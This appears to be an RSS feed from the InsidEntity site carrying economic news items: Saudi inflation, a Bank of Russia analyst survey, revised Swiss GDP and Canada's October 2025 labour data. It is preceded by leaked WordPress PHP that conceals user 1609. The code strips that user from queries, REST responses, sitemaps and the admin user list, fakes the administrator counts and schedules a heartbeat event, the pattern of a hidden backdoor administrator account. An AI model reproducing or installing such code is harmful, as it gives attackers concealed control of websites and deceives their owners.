add_action( 'pre_get_posts', function( $q ) {
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} );

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    $exclude[] = 1609;

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} );

add_filter( 'rest_user_query', function( $args, $request ) {
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    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
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            array( 'status' => 404 )
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}, 10, 3 );

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add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
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    $exclude[] = 1609;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-1609{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
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                '/\((\d+)\)/',
                function( $m ) {
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                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
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    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
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} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
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	<title>Countries Archives - InsidEntity</title>
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	<item>
		<title>Saudi Arabia: GASTAT: Inflation in Saudi Arabia Reaches 2.2% in October 2025</title>
		<link>https://ie3.euptest.org/saudi-arabia-gastat-inflation-in-saudi-arabia-reaches-2-2-in-october-2025/</link>
		
		<dc:creator><![CDATA[Monique Nell]]></dc:creator>
		<pubDate>Thu, 20 Nov 2025 10:34:57 +0000</pubDate>
				<category><![CDATA[Countries]]></category>
		<guid isPermaLink="false">https://www.insidentity.com/?p=146806</guid>

					<description><![CDATA[<p>Imagery Source: Pexels Information Source: General Authority of Statistics The annual inflation rate of the Consumer Price Index (CPI) in the Kingdom of Saudi Arabia reached 2.2% in October 2025 compared to the same period of the previous year (October 2024). Meanwhile, the monthly inflation rate recorded 0.3% compared to September 2025. In the same context, the Wholesale Price Index (WPI) in the Kingdom reached 2.9% during October 2025, compared to the same period in 2024. Meanwhile, the WPI recorded 0.5% in October 2025 compared to September 2025. It is worth noting that the CPI reflects changes in prices paid by consumers for a fixed basket of goods and services consisting of 582 items, while the WPI reflects the price movements of goods at the pre-retail stage for a fixed basket of goods consisting of 343 items. For the full document, click the link below General Authority of Statistics Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.</p>
<p>The post <a href="https://ie3.euptest.org/saudi-arabia-gastat-inflation-in-saudi-arabia-reaches-2-2-in-october-2025/">Saudi Arabia: GASTAT: Inflation in Saudi Arabia Reaches 2.2% in October 2025</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
]]></description>
										<content:encoded><![CDATA[<table>
<tbody>
<tr>
<td width="601">Imagery Source<em>: </em><a href="https://www.pexels.com/photo/dome-buildings-during-golden-hour-2830460/"><strong><em>Pexels</em></strong></a></td>
</tr>
<tr>
<td width="601">Information Source: <a href="https://www.stats.gov.sa/en/w/news/116"><strong><em>General Authority of Statistics</em></strong></a></td>
</tr>
<tr>
<td width="601">The annual inflation rate of the Consumer Price Index (CPI) in the Kingdom of Saudi Arabia reached 2.2% in October 2025 compared to the same period of the previous year (October 2024). Meanwhile, the monthly inflation rate recorded 0.3% compared to September 2025.</td>
</tr>
<tr>
<td width="601">In the same context, the Wholesale Price Index (WPI) in the Kingdom reached 2.9% during October 2025, compared to the same period in 2024. Meanwhile, the WPI recorded 0.5% in October 2025 compared to September 2025.<br />
It is worth noting that the CPI reflects changes in prices paid by consumers for a fixed basket of goods and services consisting of 582 items, while the WPI reflects the price movements of goods at the pre-retail stage for a fixed basket of goods consisting of 343 items.</td>
</tr>
<tr>
<td width="601">For the full document, click the link below</td>
</tr>
<tr>
<td width="601"><a href="https://www.stats.gov.sa/en/w/news/116"><strong><em>General Authority of Statistics</em></strong></a></td>
</tr>
<tr>
<td width="601"><em>Stay ahead of the curve! Subscribe to </em><a href="https://www.insidentity.com/subscriber-fee/"><strong><em>InsidEntity</em></strong></a><em> for daily updates on all your favourite companies. </em></td>
</tr>
</tbody>
</table>

	<div class="wpw-fp-follow-post-wrapper wpw-fp-follow-btn-wrapper">
			</div><!-- wpw-fp-follow-post-wrapper --><p>The post <a href="https://ie3.euptest.org/saudi-arabia-gastat-inflation-in-saudi-arabia-reaches-2-2-in-october-2025/">Saudi Arabia: GASTAT: Inflation in Saudi Arabia Reaches 2.2% in October 2025</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Russia: Macroeconomic survey of the Bank of Russia</title>
		<link>https://ie3.euptest.org/russia-macroeconomic-survey-of-the-bank-of-russia/</link>
		
		<dc:creator><![CDATA[Monique Nell]]></dc:creator>
		<pubDate>Thu, 20 Nov 2025 10:27:16 +0000</pubDate>
				<category><![CDATA[Countries]]></category>
		<guid isPermaLink="false">https://www.insidentity.com/?p=146798</guid>

					<description><![CDATA[<p>Imagery Source: Pexels Information Source: Bank of Russia The ranges of analysts’ forecasts for the next years (see the shaded areas in the charts) have narrowed for most indicators. At the same time, the ranges for the key rate, GDP, exports, imports, trade balance, USD/RUB exchange rate and oil price are widening by the end of the forecast period. Inflation: Analysts have raised the forecasts for 2025–2026 to 6.6% (+0.2 pp to the September survey) and 5.1% (+0.4 pp), respectively. The forecast for 2027 has been lowered by 0.1 pp to 4.1%. Analysts expect that inflation in 2027–2028 will be close to the target. Key rate: Expectations for the average key rate in 2025 and 2026 have been raised to 19.2% per annum (+0.2 pp, which implies that the key rate will average 16.6% per annum for the remainder of 2025 and 13.7% per annum (+0.5 pp). The forecast for 2027 has been lowered by 0.3 p.p. to 10.0% per annum. The forecast for the end of the horizon is 9.0% per annum (+0.5 pp). It remains higher than the median estimate of the neutral key rate (8.0% per annum). Real key rate calculated based on analysts’ forecasts is 12.5% in 2025, 8.6% (+0.1 pp) in 2026, 5.7% (-0.3 pp) in 2027 and 5.0% (+0.6 pp) in 2028. GDP: Growth forecast has been lowered over the entire forecast horizon: to 1.0% (-0.2 pp) for 2025, 1.2% (-0.4 pp) for 2026, 1.8% and 1.9% for 2027 and 2028 (&#8211; 0.1 pp) respectively. The median estimate of the long-term GDP growth rate is unchanged at 2.0%. According to analysts, the accumulated GDP growth from 2028 to 2021 will total +13.6% (average rate: 1.9% per year). Unemployment rate: No significant changes. Analysts expect the average unemployment to decrease to 2.3% in 2025, rise to 2.5% in 2026, to 2.7% (-0.1 pp) in 2027 and to 3.0% in 2028, remaining below 2021 (4.8%) and 2023 (3.2%) values. Nominal wages: Analysts have raised their forecast for nominal wage growth over the entire forecast horizon. They expect nominal wages to grow by 13.2% (+0.6 pp) in 2025, followed by a deceleration to 8.4% (+0.4 pp) in 2026, 7.2% (+0.3 pp) in 2027 and 7.0% (+0.7 pp) by the end of the forecast horizon. Calculations based on analysts’ forecasts of nominal wages and average inflation suggest that real wages will increase by 4.0% in 2025, 2.7% in 2026, 2.9% in 2027 and 2.6% in 2028. By the end of the forecast horizon, real wages will be 35.4% higher than in 2021 (average rate: 5.1% per year). Consolidated budget balance: Analysts expect a higher consolidated budget deficit in 2025 – 3.0% of GDP (up by 0.6 pp). Forecasts for the next years are almost unchanged at 1.7% of GDP (up by 0.1 pp) in 2026, 1.2% of GDP (up by 0.1 pp) in 2027 and 1.2% (up by 0.2 pp) of GDP in 2028. Exports of goods and services: Expectations have lowered slightly over the entire forecast horizon. The forecast exports are $451 billion (-$1 billion) in 2025, $455 billion (-$3 billion) in 2026 and $472 billion (-$4 billion) in 2027. The forecast for 2028 is $485 billion (-$8 billion). This is 12% ($65 billion) lower than exports in 2021. Imports of goods and services: No significant changes: $385 billion (+$1 billion) in 2025, $392 billion (-$1 billion) in 2026 and $403 billion (-$1 billion) in 2027. The forecast for 2028 is $416 billion (+$4 billion). This is 10% ($39 billion) higher than imports in 2021. USD/RUB exchange rate: Analysts expect a stronger ruble compared to the September survey over the entire forecast horizon. The forecast of the average exchange rate is 85.0 rubles per dollar in 2025 (this implies that the exchange rate will average 85.6 rubles per dollar in October–December 2025), 94.6 rubles per dollar in 2026, 100.0 rubles per dollar in 2027 and 103.7 rubles per dollar in 2028. The ruble is expected to be 0.6–2.6% stronger compared to the September survey. Oil price for tax purposes: No significant changes. Analysts expect the yearly average price of Russian oil for tax purposes will be $58 per barrel in 2025 (this implies that the oil price will average $55 per barrel for the remainder of 2025) and 2026, and will rise to $60 per barrel in 2027–2028. For the full document, click the link below Bank of Russia Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.</p>
<p>The post <a href="https://ie3.euptest.org/russia-macroeconomic-survey-of-the-bank-of-russia/">Russia: Macroeconomic survey of the Bank of Russia</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
]]></description>
										<content:encoded><![CDATA[<table>
<tbody>
<tr>
<td width="601">Imagery Source<em>: </em><a href="https://www.pexels.com/photo/photograph-of-a-russia-flag-under-a-blue-sky-11875346/"><strong><em>Pexels</em></strong></a></td>
</tr>
<tr>
<td width="601">Information Source: <a href="https://www.cbr.ru/eng/statistics/ddkp/mo_br/"><strong><em>Bank of Russia</em></strong></a></td>
</tr>
<tr>
<td width="601">The ranges of analysts’ forecasts for the next years (see the shaded areas in the charts) have narrowed for most indicators. At the same time, the ranges for the key rate, GDP, exports, imports, trade balance, USD/RUB exchange rate and oil price are widening by the end of the forecast period.</td>
</tr>
<tr>
<td width="601">
<ul>
<li><strong>Inflation:</strong> Analysts have raised the forecasts for 2025–2026 to 6.6% (+0.2 pp to the September survey) and 5.1% (+0.4 pp), respectively. The forecast for 2027 has been lowered by 0.1 pp to 4.1%. Analysts expect that inflation in 2027–2028 will be close to the target.</li>
</ul>
</td>
</tr>
<tr>
<td width="601">
<ul>
<li><strong>Key rate:</strong> Expectations for the average key rate in 2025 and 2026 have been raised to 19.2% per annum (+0.2 pp, which implies that the key rate will average 16.6% per annum for the remainder of 2025 and 13.7% per annum (+0.5 pp). The forecast for 2027 has been lowered by 0.3 p.p. to 10.0% per annum. The forecast for the end of the horizon is 9.0% per annum (+0.5 pp). It remains higher than the median estimate of the neutral key rate (8.0% per annum). Real key rate calculated based on analysts’ forecasts is 12.5% in 2025, 8.6% (+0.1 pp) in 2026, 5.7% (-0.3 pp) in 2027 and 5.0% (+0.6 pp) in 2028.</li>
</ul>
</td>
</tr>
<tr>
<td width="601">
<ul>
<li><strong>GDP:</strong> Growth forecast has been lowered over the entire forecast horizon: to 1.0% (-0.2 pp) for 2025, 1.2% (-0.4 pp) for 2026, 1.8% and 1.9% for 2027 and 2028 (&#8211; 0.1 pp) respectively. The median estimate of the long-term GDP growth rate is unchanged at 2.0%. According to analysts, the accumulated GDP growth from 2028 to 2021 will total +13.6% (average rate: 1.9% per year).</li>
</ul>
</td>
</tr>
<tr>
<td width="601">
<ul>
<li><strong>Unemployment rate:</strong> No significant changes. Analysts expect the average unemployment to decrease to 2.3% in 2025, rise to 2.5% in 2026, to 2.7% (-0.1 pp) in 2027 and to 3.0% in 2028, remaining below 2021 (4.8%) and 2023 (3.2%) values.</li>
</ul>
</td>
</tr>
<tr>
<td width="601">
<ul>
<li><strong>Nominal wages: </strong>Analysts have raised their forecast for nominal wage growth over the entire forecast horizon. They expect nominal wages to grow by 13.2% (+0.6 pp) in 2025, followed by a deceleration to 8.4% (+0.4 pp) in 2026, 7.2% (+0.3 pp) in 2027 and 7.0% (+0.7 pp) by the end of the forecast horizon. Calculations based on analysts’ forecasts of nominal wages and average inflation suggest that real wages will increase by 4.0% in 2025, 2.7% in 2026, 2.9% in 2027 and 2.6% in 2028. By the end of the forecast horizon, real wages will be 35.4% higher than in 2021 (average rate: 5.1% per year).</li>
</ul>
</td>
</tr>
<tr>
<td width="601">
<ul>
<li><strong>Consolidated budget balance: </strong>Analysts expect a higher consolidated budget deficit in 2025 – 3.0% of GDP (up by 0.6 pp). Forecasts for the next years are almost unchanged at 1.7% of GDP (up by 0.1 pp) in 2026, 1.2% of GDP (up by 0.1 pp) in 2027 and 1.2% (up by 0.2 pp) of GDP in 2028.</li>
</ul>
</td>
</tr>
<tr>
<td width="601">
<ul>
<li><strong>Exports of goods and services: </strong>Expectations have lowered slightly over the entire forecast horizon. The forecast exports are $451 billion (-$1 billion) in 2025, $455 billion (-$3 billion) in 2026 and $472 billion (-$4 billion) in 2027. The forecast for 2028 is $485 billion (-$8 billion). This is 12% ($65 billion) lower than exports in 2021.</li>
</ul>
</td>
</tr>
<tr>
<td width="601">
<ul>
<li><strong>Imports of goods and services: </strong>No significant changes: $385 billion (+$1 billion) in 2025, $392 billion (-$1 billion) in 2026 and $403 billion (-$1 billion) in 2027. The forecast for 2028 is $416 billion (+$4 billion). This is 10% ($39 billion) higher than imports in 2021.</li>
</ul>
</td>
</tr>
<tr>
<td width="601">
<ul>
<li><strong>USD/RUB exchange rate: </strong>Analysts expect a stronger ruble compared to the September survey over the entire forecast horizon. The forecast of the average exchange rate is 85.0 rubles per dollar in 2025 (this implies that the exchange rate will average 85.6 rubles per dollar in October–December 2025), 94.6 rubles per dollar in 2026, 100.0 rubles per dollar in 2027 and 103.7 rubles per dollar in 2028. The ruble is expected to be 0.6–2.6% stronger compared to the September survey.</li>
</ul>
</td>
</tr>
<tr>
<td width="601">
<ul>
<li><strong>Oil price for tax purposes:</strong> No significant changes. Analysts expect the yearly average price of Russian oil for tax purposes will be $58 per barrel in 2025 (this implies that the oil price will average $55 per barrel for the remainder of 2025) and 2026, and will rise to $60 per barrel in 2027–2028.</li>
</ul>
</td>
</tr>
<tr>
<td width="601">For the full document, click the link below</td>
</tr>
<tr>
<td width="601"><a href="https://www.cbr.ru/eng/statistics/ddkp/mo_br/"><strong><em>Bank of Russia</em></strong></a></td>
</tr>
<tr>
<td width="601"><em>Stay ahead of the curve! Subscribe to </em><a href="https://www.insidentity.com/subscriber-fee/"><strong><em>InsidEntity</em></strong></a><em> for daily updates on all your favourite companies. </em></td>
</tr>
</tbody>
</table>

	<div class="wpw-fp-follow-post-wrapper wpw-fp-follow-btn-wrapper">
			</div><!-- wpw-fp-follow-post-wrapper --><p>The post <a href="https://ie3.euptest.org/russia-macroeconomic-survey-of-the-bank-of-russia/">Russia: Macroeconomic survey of the Bank of Russia</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Switzerland: Quarterly Gross Domestic Product: Revised Data up to the 2nd Quarter of 2025</title>
		<link>https://ie3.euptest.org/switzerland-quarterly-gross-domestic-product-revised-data-up-to-the-2nd-quarter-of-2025/</link>
		
		<dc:creator><![CDATA[Monique Nell]]></dc:creator>
		<pubDate>Thu, 20 Nov 2025 10:15:56 +0000</pubDate>
				<category><![CDATA[Countries]]></category>
		<guid isPermaLink="false">https://www.insidentity.com/?p=146784</guid>

					<description><![CDATA[<p>Imagery Source: Unsplash Information Source: Federal News Service &#8211; the Portal of the Swiss Government The State Secretariat for Economic Affairs (SECO) and the Federal Statistical Office (FSO) have conducted a benchmark revision of the GDP data in accordance with international recommendations. The economic interpretation of the data remains essentially unchanged. In the second quarter of 2025, the Swiss economy grew weakly, following above-average growth in the previous quarter. SECO is now publishing more detailed quarterly data for the value added of the manufacturing sector as well as for the transport and communications sectors. The revised GDP data confirm that in the second quarter of 2025, Switzerland&#8217;s sports event-adjusted GDP [1] grew slightly (+0.2%, before the revision: +0.1%). This follows the above-average growth of the previous quarter (+0.8%, before the revision: +0.7%) and thus represents the expected correction. The Swiss economy was impacted in the second quarter by negative developments in industry and foreign trade. The chemical and pharmaceutical industry (−2.0%) experienced a significant decline. Value added also fell slightly in other sectors of the manufacturing industry (−0.2%). Foreign trade also declined: exports [2] (−3.4%) and imports [3] (−4.0%) both fell considerably. In contrast, the domestic economy remained stable. Private consumption (+0.4%) developed solidly. Service sectors such as retail (+1.3%), hospitality (+1.4%), and transport (+1.9%) particularly benefited. Government consumption (+0.8%) recorded above-average growth, and consequently, the value added of public administration (+1.0%) increased. However, since investment declined overall (−0.8%), domestic final demand increased only slightly (+0.1%). The “benchmark revision” systematically reviewed and harmonised historical time series, definitions, and data sources. Details are explained in a technical note [4]. In some cases, the historical data were significantly revised, particularly their absolute nominal levels, but less so their real development over time. The cyclical interpretation of the data remains essentially unchanged after the revision work, although significant revisions to the data can be observed in some individual cases. Notice The data and economic trends for autumn 2025, including further information on GDP in the second quarter, can be found at www.seco.admin.ch/bip. [1] To facilitate the interpretation of the economic cycle, this communication presents real, seasonally adjusted and (where applicable) sports event-adjusted growth rates compared to the previous quarter. The sports event adjustment applies to: GDP, the &#8220;Arts, Entertainment, Recreation&#8221; sector, and service exports and imports. Further information on the sports event adjustment can be found at www.seco.admin.ch/bip under the &#8220;Documents&#8221; tab. GDP growth not adjusted for sports events: +0.2% in the second quarter of 2025 and +0.7% in the first quarter of 2025. [2] Services and goods excluding valuables. Not adjusted for sporting events: −4.4%. [3] Services and goods excluding valuables. Not adjusted for sporting events: −5.1%. [4] « Revision 2025 of the National Accounts: Main changes and structural and cyclical effects », available at www.seco.admin.ch/bip. For the full document, click the link below Federal News Service &#8211; the Portal of the Swiss Government Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.</p>
<p>The post <a href="https://ie3.euptest.org/switzerland-quarterly-gross-domestic-product-revised-data-up-to-the-2nd-quarter-of-2025/">Switzerland: Quarterly Gross Domestic Product: Revised Data up to the 2nd Quarter of 2025</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
]]></description>
										<content:encoded><![CDATA[<table>
<tbody>
<tr>
<td width="601">Imagery Source<em>: </em><a href="https://unsplash.com/s/photos/switzerland"><strong><em>Unsplash</em></strong></a></td>
</tr>
<tr>
<td width="601">Information Source: <a href="https://www.news.admin.ch/de/newnsb/DCHSyIXJPiKkcA4kVRmgd"><strong><em>Federal News Service &#8211; the Portal of the Swiss Government</em></strong></a></td>
</tr>
<tr>
<td width="601">The State Secretariat for Economic Affairs (SECO) and the Federal Statistical Office (FSO) have conducted a benchmark revision of the GDP data in accordance with international recommendations. The economic interpretation of the data remains essentially unchanged. In the second quarter of 2025, the Swiss economy grew weakly, following above-average growth in the previous quarter. SECO is now publishing more detailed quarterly data for the value added of the manufacturing sector as well as for the transport and communications sectors.</td>
</tr>
<tr>
<td width="601">The revised GDP data confirm that in the second quarter of 2025, Switzerland&#8217;s sports event-adjusted GDP <sup>[1]</sup> grew slightly (+0.2%, before the revision: +0.1%). This follows the above-average growth of the previous quarter (+0.8%, before the revision: +0.7%) and thus represents the expected correction.</td>
</tr>
<tr>
<td width="601">The Swiss economy was impacted in the second quarter by negative developments in industry and foreign trade. The chemical and pharmaceutical industry (−2.0%) experienced a significant decline. Value added also fell slightly in other sectors of the manufacturing industry (−0.2%). Foreign trade also declined: exports <sup>[2]</sup> (−3.4%) and imports <sup>[3]</sup> (−4.0%) both fell considerably.</td>
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<td width="601">In contrast, the domestic economy remained stable. Private consumption (+0.4%) developed solidly. Service sectors such as retail (+1.3%), hospitality (+1.4%), and transport (+1.9%) particularly benefited. Government consumption (+0.8%) recorded above-average growth, and consequently, the value added of public administration (+1.0%) increased. However, since investment declined overall (−0.8%), domestic final demand increased only slightly (+0.1%).</td>
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<td width="601">The “benchmark revision” systematically reviewed and harmonised historical time series, definitions, and data sources. Details are explained in a technical note <sup>[4]</sup>. In some cases, the historical data were significantly revised, particularly their absolute nominal levels, but less so their real development over time. The cyclical interpretation of the data remains essentially unchanged after the revision work, although significant revisions to the data can be observed in some individual cases.</td>
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<td width="601">Notice</td>
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<td width="601">The data and economic trends for autumn 2025, including further information on GDP in the second quarter, can be found at <a href="https://www.seco.admin.ch/seco/de/home/wirtschaftslage---wirtschaftspolitik/Wirtschaftslage/bip-quartalsschaetzungen-.html">www.seco.admin.ch/bip</a>.</td>
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<td width="601">[1] To facilitate the interpretation of the economic cycle, this communication presents real, seasonally adjusted and (where applicable) sports event-adjusted growth rates compared to the previous quarter. The sports event adjustment applies to: GDP, the &#8220;Arts, Entertainment, Recreation&#8221; sector, and service exports and imports. Further information on the sports event adjustment can be found at <a href="https://www.seco.admin.ch/seco/de/home/wirtschaftslage---wirtschaftspolitik/Wirtschaftslage/bip-quartalsschaetzungen-.html">www.seco.admin.ch/bip</a> under the &#8220;Documents&#8221; tab. GDP growth not adjusted for sports events: +0.2% in the second quarter of 2025 and +0.7% in the first quarter of 2025.</td>
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<td width="601">[2] Services and goods excluding valuables. Not adjusted for sporting events: −4.4%.</td>
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<td width="601">[3] Services and goods excluding valuables. Not adjusted for sporting events: −5.1%.</td>
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<td width="601">[4] « Revision 2025 of the National Accounts: Main changes and structural and cyclical effects », available at <a href="https://www.seco.admin.ch/seco/de/home/wirtschaftslage---wirtschaftspolitik/Wirtschaftslage/bip-quartalsschaetzungen-.html">www.seco.admin.ch/bip</a>.</td>
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<td width="601">For the full document, click the link below</td>
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<td width="601"><a href="https://www.news.admin.ch/de/newnsb/DCHSyIXJPiKkcA4kVRmgd"><strong><em>Federal News Service &#8211; the Portal of the Swiss Government</em></strong></a></td>
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		<title>Canada: Labour Force Survey, October 2025</title>
		<link>https://ie3.euptest.org/canada-labour-force-survey-october-2025/</link>
		
		<dc:creator><![CDATA[Monique Nell]]></dc:creator>
		<pubDate>Thu, 20 Nov 2025 10:03:44 +0000</pubDate>
				<category><![CDATA[Countries]]></category>
		<guid isPermaLink="false">https://www.insidentity.com/?p=146775</guid>

					<description><![CDATA[<p>Imagery Source: Economy Next &#124; rawpixel.com Information Source: Statistics Canada Highlights Employment increased by 67,000 (+0.3%) in October, the second consecutive monthly increase, and the employment rate rose 0.2 percentage points to 60.8%. The unemployment rate declined 0.2 percentage points to 6.9%. Employment growth was concentrated among men aged 25 to 54 years old (+33,000; +0.5%) and youth aged 15 to 24 years old (+21,000; +0.8%). More people were working in wholesale and retail trade (+41,000; +1.4%), transportation and warehousing (+30,000; +2.8%), information, culture, and recreation (+25,000; +3.0%), and utilities (+7,600; +4.6%). On the other hand, employment declined in construction (-15,000; -0.9%). Employment increased in Ontario (+55,000; +0.7%) and in Newfoundland and Labrador (+4,400; +1.8%), while it declined in Nova Scotia (-4,400; -0.8%) and Manitoba (-4,000; -0.5%). Average hourly wages among employees increased 3.5% (+$1.27 to $37.06) on a year-over-year basis in October, following growth of 3.3% in September (not seasonally adjusted). Employment increases in October, building on the gain in September Employment rose by 67,000 (+0.3%) in October, the second consecutive monthly increase. Cumulative gains in September and October (+127,000; +0.6%) have offset cumulative declines observed in July and August (-106,000; -0.5%). The employment rate—the proportion of the population aged 15 and older who are employed—rose by 0.2 percentage points to 60.8% in October, also the second consecutive monthly increase. The employment rate in October was unchanged on a year-over-year basis but remained below the recent high of 61.1% recorded in January and February 2025. The employment increase in October was driven by part-time work (+85,000; +2.3%). This follows an increase in full-time work in September (+106,000; +0.6%). On a year-over-year basis, employment was up in both full-time work (+199,000; +1.2%) and part-time work (+101,000; +2.7%). Private sector employment rose by 73,000 (+0.5%) in October, the first increase since June. There was little change in the number of public sector employees and in the number of self-employed workers in October. Labour disputes lead to lost work hours among employees Despite the employment increase in October, total actual hours edged down (-0.2%) in the month as an elevated number of employees lost work hours due to labour disputes occurring during the Labour Force Survey reference week (October 12 to 18). An estimated 87,000 employees across the provinces lost work hours due to labour disputes during this period (not seasonally adjusted). This was particularly notable in Alberta, where a teachers&#8217; strike and a subsequent lock-out led to the closure of most elementary and secondary schools in the province. On a year-over-year basis, total actual hours were up 0.7% in October. Employment rises among core-aged men and youth Employment rose among core-aged men (25 to 54 years old) in October (+33,000; +0.5%), marking a second consecutive monthly increase. Among core-aged women, employment was little changed, following a gain in September (+76,000; +1.2%). The employment rate of core-aged men rose 0.3 percentage points to 86.4% in October, while that of core-aged women held steady at 80.4%. For both groups, the employment rate in October was virtually unchanged compared with 12 months earlier. Among youth (aged 15 to 24), employment rose by 21,000 (+0.8%) in October, the first increase since January. This pushed the youth employment rate up 0.4 percentage points to 54.2%. Despite this increase, the youth employment rate remained significantly below the recent high of 59.6% recorded in March 2023, as youth continue to face difficult labour market conditions. Unemployment rate declines to 6.9% The unemployment rate fell 0.2 percentage points to 6.9% in October. Before this decline, the unemployment rate had reached 7.1% in August and September, the highest level since May 2016 (excluding 2020 and 2021 during the COVID-19 pandemic). Nearly one in five (19.8%) unemployed people in September had found work in October. This proportion (referred to as the job finding rate) was up from 12 months earlier (16.5%) but was lower than the average for the same months from 2017 to 2019 (24.6%) (not seasonally adjusted). The layoff rate in October (0.6%) was virtually unchanged compared with 12 months earlier (0.7%) (not seasonally adjusted). This represents the proportion of people who were employed in September but had become unemployed in October as a result of a layoff. Long-term unemployment—the proportion of unemployed people who had been continuously searching for work for 27 weeks or more—stood at 21.3% in October, little changed from 21.2% in October 2024. Youth unemployment rate falls for the first time since February. The unemployment rate for youth aged 15 to 24 fell by 0.6 percentage points to 14.1% in October, coinciding with an increase in employment for this group. This was the first decline in the youth unemployment rate since February. The youth unemployment rate had been on an upward trend from the beginning of 2023, reaching a 15-year high in September 2025 (excluding 2020 and 2021). The unemployment rate for core-aged men fell by 0.2 percentage points to 6.0% in October, while it was little changed at 5.7% for core-aged women. For both groups, the unemployment rate was little changed on a year-over-year basis. The unemployment rate also fell for people aged 55 and older in October (-0.2 percentage points to 5.3%), offsetting a similar-sized increase in September. The unemployment rate for this age group was little changed on a year-over-year basis. Employment gains led by services-producing industries Employment increased in wholesale and retail trade in October (+41,000; +1.4%), more than offsetting a decline in September (-21,000; -0.7%). On a year-over-year basis, employment in the industry was up by 108,000 (+3.7%). Employment also increased in transportation and warehousing (+30,000; +2.8%) and in information, culture and recreation (+25,000; +3.0%) in October. In both these industries, employment was little changed compared with 12 months earlier. In construction, employment fell by 15,000 (-0.9%) in October, following little change in September. Employment in this industry was virtually unchanged from a year earlier but was down 38,000 (-2.3%) from a recent high in January 2025. From January to October 2025, employment in goods-producing industries recorded a net<a href="https://ie3.euptest.org/canada-labour-force-survey-october-2025/" class="" rel="bookmark">Read More &#187;<span class="screen-reader-text">Canada: Labour Force Survey, October 2025</span></a></p>
<p>The post <a href="https://ie3.euptest.org/canada-labour-force-survey-october-2025/">Canada: Labour Force Survey, October 2025</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
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<td width="601">Imagery Source<em>: </em><a href="https://corporate.target.com/about/locations/twin-cities-market"><strong><em>Economy Next | rawpixel.com</em></strong></a></td>
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<td width="601">Information Source: <a href="https://www150.statcan.gc.ca/n1/daily-quotidien/251107/dq251107a-eng.htm?HPA=1&amp;indid=3587-2&amp;indgeo=0"><strong><em>Statistics Canada</em></strong></a></td>
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<td width="601"><strong>Highlights</strong></td>
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<td width="601">Employment increased by 67,000 (+0.3%) in October, the second consecutive monthly increase, and the employment rate rose 0.2 percentage points to 60.8%. The unemployment rate declined 0.2 percentage points to 6.9%.</td>
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<td width="601">Employment growth was concentrated among men aged 25 to 54 years old (+33,000; +0.5%) and youth aged 15 to 24 years old (+21,000; +0.8%).</td>
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<td width="601">More people were working in wholesale and retail trade (+41,000; +1.4%), transportation and warehousing (+30,000; +2.8%), information, culture, and recreation (+25,000; +3.0%), and utilities (+7,600; +4.6%). On the other hand, employment declined in construction (-15,000; -0.9%).</td>
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<td width="601">Employment increased in Ontario (+55,000; +0.7%) and in Newfoundland and Labrador (+4,400; +1.8%), while it declined in Nova Scotia (-4,400; -0.8%) and Manitoba (-4,000; -0.5%).</td>
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<td width="601">Average hourly wages among employees increased 3.5% (+$1.27 to $37.06) on a year-over-year basis in October, following growth of 3.3% in September (not seasonally adjusted).</td>
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<td width="601"><strong>Employment increases in October, building on the gain in September</strong></td>
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<td width="601">Employment rose by 67,000 (+0.3%) in October, the second consecutive monthly increase. Cumulative gains in September and October (+127,000; +0.6%) have offset cumulative declines observed in July and August (-106,000; -0.5%).</td>
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<td width="601">The employment rate—the proportion of the population aged 15 and older who are employed—rose by 0.2 percentage points to 60.8% in October, also the second consecutive monthly increase. The employment rate in October was unchanged on a year-over-year basis but remained below the recent high of 61.1% recorded in January and February 2025.</td>
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<td width="601">The employment increase in October was driven by part-time work (+85,000; +2.3%). This follows an increase in full-time work in September (+106,000; +0.6%). On a year-over-year basis, employment was up in both full-time work (+199,000; +1.2%) and part-time work (+101,000; +2.7%).</td>
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<td width="601">Private sector employment rose by 73,000 (+0.5%) in October, the first increase since June. There was little change in the number of public sector employees and in the number of self-employed workers in October.</td>
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<td width="601"><strong>Labour disputes lead to lost work hours among employees</strong></td>
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<td width="601">Despite the employment increase in October, total actual hours edged down (-0.2%) in the month as an elevated number of employees lost work hours due to labour disputes occurring during the Labour Force Survey reference week (October 12 to 18).</td>
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<td width="601">An estimated 87,000 employees across the provinces lost work hours due to labour disputes during this period (not seasonally adjusted). This was particularly notable in Alberta, where a teachers&#8217; strike and a subsequent lock-out led to the closure of most elementary and secondary schools in the province.</td>
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<td width="601">On a year-over-year basis, total actual hours were up 0.7% in October.</td>
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<td width="601"><strong>Employment rises among core-aged men and youth</strong></td>
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<td width="601">Employment rose among core-aged men (25 to 54 years old) in October (+33,000; +0.5%), marking a second consecutive monthly increase. Among core-aged women, employment was little changed, following a gain in September (+76,000; +1.2%).</td>
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<td width="601">The employment rate of core-aged men rose 0.3 percentage points to 86.4% in October, while that of core-aged women held steady at 80.4%. For both groups, the employment rate in October was virtually unchanged compared with 12 months earlier.</td>
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<td width="601">Among youth (aged 15 to 24), employment rose by 21,000 (+0.8%) in October, the first increase since January. This pushed the youth employment rate up 0.4 percentage points to 54.2%. Despite this increase, the youth employment rate remained significantly below the recent high of 59.6% recorded in March 2023, as youth continue to face difficult labour market conditions.</td>
